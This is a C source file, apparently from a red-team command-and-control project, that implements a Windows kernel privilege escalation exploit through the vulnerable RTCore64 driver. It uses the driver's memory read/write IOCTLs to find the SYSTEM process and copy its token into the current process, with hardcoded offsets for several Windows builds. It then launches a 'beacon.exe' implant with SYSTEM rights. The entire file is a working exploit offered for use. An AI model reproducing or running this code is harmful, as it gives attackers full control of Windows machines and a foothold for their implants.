/*
	This file is part of Black Basalt Beacon.

	Black Basalt Beacon is free software: you can redistribute it and/or modify
	it under the terms of the GNU General Public License as published by
	the Free Software Foundation, either version 3 of the License, or
	(at your option) any later version.

	Black Basalt Beacon is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with Black Basalt Beacon.  If not, see <https://www.gnu.org/licenses/>.

	Copyright (c) LazyOwn RedTeam 2025. All rights reserved.
*/

#include <windows.h>
#include <psapi.h>
#include <stdio.h>
#include <stdarg.h>
#include <stdlib.h>

#define BEACON L"C:\\Users\\Administrator\\Documents\\beacon.exe"

void Con(const char* Message, ...) {
    va_list Args;
    va_start(Args, Message);
    vfprintf(stderr, Message, Args);
    fputc('\n', stderr);
    va_end(Args);
}

struct RTCORE64_MSR_READ {
    DWORD Register;
    DWORD ValueHigh;
    DWORD ValueLow;
};

// _Static_assert(sizeof(struct RTCORE64_MSR_READ) == 12, "sizeof must be 12");

struct RTCORE64_MEMORY_READ {
    BYTE Pad0[8];
    DWORD64 Address;
    BYTE Pad1[8];
    DWORD ReadSize;
    DWORD Value;
    BYTE Pad3[16];
};

struct RTCORE64_MEMORY_WRITE {
    BYTE Pad0[8];
    DWORD64 Address;
    BYTE Pad1[8];
    DWORD ReadSize;
    DWORD Value;
    BYTE Pad3[16];
};

#define RTCORE64_MSR_READ_CODE     0x80002030
#define RTCORE64_MEMORY_READ_CODE  0x80002048
#define RTCORE64_MEMORY_WRITE_CODE 0x8000204c

DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
    struct RTCORE64_MEMORY_READ MemoryRead;
    ZeroMemory(&MemoryRead, sizeof(MemoryRead));
    MemoryRead.Address = Address;
    MemoryRead.ReadSize = Size;

    DWORD BytesReturned;

    DeviceIoControl(Device,
        RTCORE64_MEMORY_READ_CODE,
        &MemoryRead,
        sizeof(MemoryRead),
        &MemoryRead,
        sizeof(MemoryRead),
        &BytesReturned,
        NULL);

    return MemoryRead.Value;
}

void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {
    struct RTCORE64_MEMORY_READ MemoryRead;
    ZeroMemory(&MemoryRead, sizeof(MemoryRead));
    MemoryRead.Address = Address;
    MemoryRead.ReadSize = Size;
    MemoryRead.Value = Value;

    DWORD BytesReturned;

    DeviceIoControl(Device,
        RTCORE64_MEMORY_WRITE_CODE,
        &MemoryRead,
        sizeof(MemoryRead),
        &MemoryRead,
        sizeof(MemoryRead),
        &BytesReturned,
        NULL);
}

WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {
    return (WORD)(ReadMemoryPrimitive(Device, 2, Address) & 0xffff);
}

DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {
    return ReadMemoryPrimitive(Device, 4, Address);
}

DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {
    DWORD low = ReadMemoryDWORD(Device, Address);
    DWORD high = ReadMemoryDWORD(Device, Address + 4);
    return ((DWORD64)high << 32) | low;
}

void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
    WriteMemoryPrimitive(Device, 4, Address, (DWORD)(Value & 0xffffffff));
    WriteMemoryPrimitive(Device, 4, Address + 4, (DWORD)(Value >> 32));
}

unsigned long long getKBAddr() {
    DWORD out = 0;
    DWORD nb = 0;
    PVOID* base = NULL;
    if (EnumDeviceDrivers(NULL, 0, &nb)) {
        base = (PVOID*)malloc(nb);
        if (base && EnumDeviceDrivers(base, nb, &out)) {
            unsigned long long addr = (unsigned long long)base[0];
            free(base);
            return addr;
        }
        if (base) free(base);
    }
    return 0;
}

struct Offsets {
    DWORD64 UPIdOffset;
    DWORD64 APLinksOffset;
    DWORD64 TOffset;
};

void MSYS(DWORD targetPID, struct Offsets offsets) {
    HANDLE Device = CreateFileW(L"\\\\.\\RTCore64", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (Device == INVALID_HANDLE_VALUE) {
        Con("[!] Unable to obtain a handle to the device object");
        return;
    }
    Con("[*] Device object handle has been obtained");

    unsigned long long NtoskbAddress = getKBAddr();
    Con("[*] Ntoskrnl base address: %p", (void*)NtoskbAddress);

    HMODULE Ntoskrnl = LoadLibraryW(L"ntoskrnl.exe");
    if (!Ntoskrnl) {
        Con("[!] Failed to load ntoskrnl.exe from disk");
        CloseHandle(Device);
        return;
    }

    FARPROC pPsInitialSystemProcess = GetProcAddress(Ntoskrnl, "PsInitialSystemProcess");
    if (!pPsInitialSystemProcess) {
        Con("[!] Failed to get PsInitialSystemProcess export");
        FreeLibrary(Ntoskrnl);
        CloseHandle(Device);
        return;
    }

    DWORD64 PsInitialSystemProcessOffset = (DWORD64)pPsInitialSystemProcess - (DWORD64)Ntoskrnl;
    FreeLibrary(Ntoskrnl); // 👈 Liberamos aquí, ya no lo necesitamos

    DWORD64 PsInitialSystemProcessAddress = ReadMemoryDWORD64(Device, NtoskbAddress + PsInitialSystemProcessOffset);
    Con("[*] PsInitialSystemProcess address: %p", (void*)PsInitialSystemProcessAddress);

    DWORD64 SystemProcessToken = ReadMemoryDWORD64(Device, PsInitialSystemProcessAddress + offsets.TOffset) & ~0xF;
    Con("[*] System process token: %p", (void*)SystemProcessToken);

    DWORD64 CurrentProcessId = (DWORD64)targetPID;
    DWORD64 ProcessHead = PsInitialSystemProcessAddress + offsets.APLinksOffset;
    DWORD64 CurrentProcessAddress = ProcessHead;

    do {
        DWORD64 ProcessAddress = CurrentProcessAddress - offsets.APLinksOffset;
        DWORD64 UniqueProcessId = ReadMemoryDWORD64(Device, ProcessAddress + offsets.UPIdOffset);
        if (UniqueProcessId == CurrentProcessId) {
            break;
        }
        CurrentProcessAddress = ReadMemoryDWORD64(Device, ProcessAddress + offsets.APLinksOffset);
    } while (CurrentProcessAddress != ProcessHead);

    CurrentProcessAddress -= offsets.APLinksOffset;

    DWORD64 CurrentProcessFastToken = ReadMemoryDWORD64(Device, CurrentProcessAddress + offsets.TOffset);
    DWORD64 CurrentProcessTokenReferenceCounter = CurrentProcessFastToken & 0xF;
    DWORD64 CurrentProcessToken = CurrentProcessFastToken & ~0xF;
    Con("[*] Current process token: %p", (void*)CurrentProcessToken);

    Con("[*] Stealing System process token ...");
    WriteMemoryDWORD64(Device, CurrentProcessAddress + offsets.TOffset, CurrentProcessTokenReferenceCounter | SystemProcessToken);

    CloseHandle(Device);
}

struct Offsets getVOsets() {
    wchar_t value[255] = { 0 };
    DWORD BufferSize = sizeof(value);

    if (RegGetValueW(HKEY_LOCAL_MACHINE,
                     L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
                     L"ReleaseId",
                     RRF_RT_REG_SZ,
                     NULL,
                     value,
                     &BufferSize) != ERROR_SUCCESS) {
        fwprintf(stderr, L"[!] Failed to read ReleaseId\n");
        exit(-1);
    }

    fwprintf(stderr, L"[+] Windows Version %s Found\n", value);
    int wV = _wtoi(value);

    struct Offsets offsets;
    switch (wV) {
        case 1607:
            offsets.UPIdOffset = 0x02e8; offsets.APLinksOffset = 0x02f0; offsets.TOffset = 0x0358;
            break;
        case 1803:
        case 1809:
            offsets.UPIdOffset = 0x02e0; offsets.APLinksOffset = 0x02e8; offsets.TOffset = 0x0358;
            break;
        case 1903:
        case 1909:
            offsets.UPIdOffset = 0x02e8; offsets.APLinksOffset = 0x02f0; offsets.TOffset = 0x0360;
            break;
        case 2004:
        case 2009:
            offsets.UPIdOffset = 0x0440; offsets.APLinksOffset = 0x0448; offsets.TOffset = 0x04b8;
            break;
        default:
            fwprintf(stderr, L"[!] Version Offsets Not Found!\n");
            exit(-1);
    }
    return offsets;
}

int main(int argc, char *argv[]) {
    struct Offsets osets = getVOsets();
    MSYS(GetCurrentProcessId(), osets);

    Con("[*] Spawning new shell ...");

    STARTUPINFOW StartupInfo = {0};
    StartupInfo.cb = sizeof(StartupInfo);
    PROCESS_INFORMATION ProcessInformation;

    if (!CreateProcessW(BEACON,
                        NULL, NULL, NULL, FALSE, 0, NULL, NULL,
                        &StartupInfo,
                        &ProcessInformation)) {
        Con("[!] Failed to spawn shell");
        return -1;
    }

    WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
    CloseHandle(ProcessInformation.hThread);
    CloseHandle(ProcessInformation.hProcess);
    return 0;
}